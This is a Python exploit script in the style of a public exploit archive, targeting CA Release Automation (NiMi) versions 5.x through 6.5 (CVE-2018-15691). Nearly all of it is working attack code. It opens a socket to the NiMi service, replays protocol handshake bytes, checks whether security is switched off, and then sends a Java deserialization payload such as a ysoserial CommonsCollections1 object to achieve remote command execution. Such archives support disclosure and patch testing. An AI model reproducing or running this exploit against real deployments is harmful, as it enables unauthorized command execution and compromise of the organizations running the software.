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# Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution # Date: 2016-06-23 # Exploit Authors: Jakub Palaczynski, Maciej Grabiec # Vendor Homepage: http://www.ca.com/ # Software Link: https://docops.ca.com/ca-release-automation/5-5-2/en/installation/deploy-agents/ # Version: CA Release Automation (NiMi) 5.X, 6.3, 6.4, 6.5 # CVE: CVE-2018-15691 # Info: CA Release Automation (NiMi) Remote Command Execution via Deserialization # Info: Payloads generated using CommonsCollections1 from ysoserial work correctly. # Info: Proof of Concept exploits NiMi service if security is turned off. #!/usr/bin/python import socket import sys import struct if len(sys.argv) < 4: sys.stderr.write("[-]Usage: python %s <ip> <port> <payload_file> <target_nodeid - not mandatory>\n" % sys.argv[0]) sys.stderr.write("[-]Exemple: python %s 10.0.0.1 6600 /tmp/payload.bin\n" % sys.argv[0]) exit(1) host = sys.argv[1] port = sys.argv[2] file = sys.argv[3] # check if payload does not exceed specified value payloadObj = open(file,'rb').read() if len(payloadObj) > 5729: print 'Payload must be less than 5730 bytes. Try another one.' exit(1) # open socket to nimi port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting to node.' sock.connect((host, int(port))) # say hello to nimi sock.recv(256) sock.send('\x00\x00\x00\x0c\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x72\x02\x08\x00') # first required message # get Node ID data = sock.recv(256) name = data[5] + data[6:6+ord(data[5])] if len(sys.argv) == 5: name = struct.pack(">B", len(sys.argv[4])) + sys.argv[4] # check if security is enabled sock.send('\x00\x00\x00\x1a\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x7a\x10\x0a\x0c\x0a\x07\x30\x2e\x30\x2e\x30\x2e\x30\x10\x94\x3c\x10\x00') # second required message check = sock.recv(256) if check == "": print 'Security is enabled. Sorry.' exit(1) # send payload print 'Sending payload.' header = '\x0a\x04\x6e\x6f\x64\x65\x10\x01\x1a' + name + '\x2a\xe4\x2c\x0a\xe1\x2c' stage = header + payloadObj + '\x90' * (5729-len(payloadObj)) payload = struct.pack(">I", len(stage)) + stage sock.sendall(payload) sock.close() |
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